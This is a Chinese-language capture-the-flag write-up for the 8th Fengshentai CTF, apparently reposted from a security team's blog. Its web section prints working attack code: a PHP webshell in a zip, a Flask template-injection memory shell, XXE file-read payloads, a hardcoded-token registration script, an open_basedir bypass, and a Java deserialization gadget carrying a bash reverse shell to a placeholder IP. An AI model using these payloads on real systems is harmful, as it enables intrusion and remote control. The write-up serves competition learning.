第八届封神台CTF writeup by Mini-Venom

admin 2025年4月24日21:07:09评论1 views字数 6577阅读21分55秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)  

第八届封神台CTF writeup by Mini-Venom

第八届封神台CTF

Web:

easyjs

post传参 json格式 ++导致结果为ZKAQNaNpython脚本import requestsurl = 'http://a9h2b8d1.lab.aqlab.cn/secret'payload = {'password''ZKAQNaN'}response = requests.post(url, json=payload)result = response.json()if result.get('status') == 'success':print("Flag:", result.get('message'))else:print("Error:", result.get('message'))

图床

import zipfileimport iophpcode1='''<?php$a = $_GET[1]($_GET[2]);foreach ($a as $b) {    echo $b;}'''mf = io.BytesIO()with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:    zf.writestr('11.php', phpcode1)    zf.writestr('A'*5000b'AAAAA')with open("1.zip""wb"as f:    f.write(mf.getvalue())
1=glob&2=/*
第八届封神台CTF writeup by Mini-Venom
1=file&2=/flag_9785
第八届封神台CTF writeup by Mini-Venom

魔法实验室

写一个内存🐎就行了,

{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

然后get传参?cmd=cat+f*得到flag

第八届封神台CTF writeup by Mini-Venom

webtools

ln -s /etc/passwd testzip --symlinks test.zip test

根据/proc/self/environ得到家目录。

猜一手:/home/maomao/flag.txt得到flag。

兔刀乐!兔刀乐!

第八届封神台CTF writeup by Mini-Venom
wrapping_add整数溢出 整数超过上限(u32::MAX,即 4,294,967,295)时会回绕到 0X1 = 4294967295X2 = 4294967199

easylogin

/api/login存在XXE,html实体编码绕过

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe_code"&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#34;&#62;">  %xxe_code;]><root><data>&xxe;</data></root>
第八届封神台CTF writeup by Mini-Venom

easylogin2x

/home

/auth

https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

mysqljs库的sql注入逃逸。

Exp:

username=admin&password
		
输入密码查看隐藏内容

=1
第八届封神台CTF writeup by Mini-Venom

kefu1

Tp

名称:WoLive CMS

https://haoke800.me/index/index/welcome

需要审一下:https://github.com/15982073790/chat

这个靶场下到源码https://get-shell.com/3153.html

注册关了,审计可知event.php存在registApi接口,并且registToken硬编码。

再看password逻辑,也是硬编码。

$pass = md5($post['user_name'] . "hjkj" . $post['password']);

按照上述逻辑搓一个脚本即可:

import requestsimport hashlibtimestamp = "1111111111123123"hash_object = hashlib.md5()defmd5(content:str):# 更新加密对象中的信息    hash_object.update(content.encode())# 打印加密后的结果return hash_object.hexdigest()url = "http://189.1.223.0/"defreg():#$token = md5($post['user_name'] . "463907721" . $post['timestamp']);    data = {"timestamp":timestamp,"user_name":username,"token":md5(username+"463907721"+timestamp),# "token":True,"nick_name":"","business_id":1,"avatar":2,# md5($post['user_name'] . "hjkj" . $post['password']);"password":md5(username+"hjkj"+password)    }    r=requests.post(url+"/admin/event/registApi",data=data)if"success"in r.text:        print(f"用户名:{username} 密码:{password}")else:        print("注册失败")    print(r.text)username = "squirt2e"password = "test123"reg()
username:squirt2epassword:test123

后面打/service/Settingnow/upload路由的文件上传即可。

最后需要绕过open_basedir https://xz.aliyun.com/news/4352#toc-4

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

web-ssh

ssh低版本依赖存在反序列化。

package gadget;import com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector;import com.sun.org.apache.xpath.internal.objects.XString;import gadget.memshell.SpringBootMemoryShellOfController;import gadget.memshell.SpringBootMemoryShellOfIntecepter;import gadget.memshell.SpringMemShell;import gadget.timu.ByteCompare;import gadget.timu.MyObjectInputStream;import javassist.*;import com.fasterxml.jackson.databind.node.POJONode;import org.springframework.aop.framework.AdvisedSupport;import util.GadgetUtils;import util.SerializerUtils;import util.TriggertoStringUtils;import util.UTF8BytesMix;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.HashMap;importstatic util.GadgetUtils.makeMap;//BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImplpublicclassJackson{publicstaticvoidmain(String[] args)throws Exception {        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");        ctClass.removeMethod(writeReplace);// 将修改后的CtClass加载至当前线程的上下文类加载器中        ctClass.toClass();        POJONode node = new POJONode(makeTemplatesImplAopProxy());        Object o = TriggertoStringUtils.eventListenerList(node);byte[] bytes1 = SerializerUtils.serialize(o);        SerializerUtils.serializeToFile(o);    }publicstatic Object makeTemplatesImplAopProxy()throws Exception {        AdvisedSupport advisedSupport = new AdvisedSupport();        Object template = GadgetUtils.createTemplatesImpl("bash -c $@|bash 0 echo bash -i >& /dev/tcp/xxx.xx.xx.xx/19006 0>&1");        advisedSupport.setTarget(template);        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);        constructor.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;    }}

远程没有ping,有/readflag,反弹shell即可

bash -c $@|bash 0 echo bash -i >& /dev/tcp/xxx.xx.xx.xx/190060>&1

flag:

第八届封神台CTF writeup by Mini-Venom

Misc:

签到

虚拟机,题目说bunana都删除记录了

用DG分析一下

第八届封神台CTF writeup by Mini-Venom

访问上面的网站,发现已经被删了

Waybackmachine看历史

第八届封神台CTF writeup by Mini-Venom

左下角已经有显示项目地址,直接访问,但啥都没有

第八届封神台CTF writeup by Mini-Venom
第八届封神台CTF writeup by Mini-Venom

直接查看activity

第八届封神台CTF writeup by Mini-Venom

github已删除的GitHub数据仍可被访问,只需要知道前4位哈希就行

访问https://github.com/CaiiJ/zkkkkkkkkk/commit/bfb6

第八届封神台CTF writeup by Mini-Venom

“越狱”三部曲-第一部

原题

是个沙箱,主要拦下面这些内容,这里正好可以用help()

CODE = "gbvxftundmnt'~`@#$%^&*-/.{}"

help()然后输入main

第八届封神台CTF writeup by Mini-Venom

“越狱”三部曲-第二部

这次主要拦下面这些内容,把之前的help 拦住了,但还是可以用locals() 去看

CODE = "gdvxfiyundmnet/\'~`@#$%^&.{}0123456789"

其中使用bool("a")和chr()去构造flag这几个字母

第八届封神台CTF writeup by Mini-Venom

“越狱”三部曲-第三部

这次拦截的更严格,换all(()) 作为 1,然后chr() 拼接

CODE = "gdvxfiyundmnet/\'~`@#$%^&.{}0123456789"
第八届封神台CTF writeup by Mini-Venom

Plain Textflag{Br0,why_1s_1t_y0u_@gain:(?}

catch Tomcat

主要问题出在判断能否移动这块

functionisWalkable (x, y, state{//判断位置是否合法if (x < 0 || x >= MAP.length) returnfalseif (y < 0 || y >= MAP[x].length) returnfalse//判断移动距离是否不大于1if (Math.abs(state.x - x) + Math.abs(state.y - y) != 1returnfalse//判断是否有门if (state.onMapItems.find(item => item.x === x && item.y === y && item.item === ITEMS.DOOR)) returnfalse//判断是否有墙return ![TILES.WALL].includes(MAP[x][y])}

Javascript 遵循浮点数的 IEEE754,浮点数具有 53 位精度,所以当遇到墙的时候,可以在小数上做文章

虽然消失了,但还是可以往前走,绕过墙

第八届封神台CTF writeup by Mini-Venom
图形用户界面AI 生成的内容可能不正确。
第八届封神台CTF writeup by Mini-Venom
树状图AI 生成的内容可能不正确。

往前走到合适位置,在点D,就出来人了

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

第八届封神台CTF writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):第八届封神台CTF writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日21:07:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第八届封神台CTF writeup by Mini-Venomhttps://cn-sec.com/archives/3993798.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息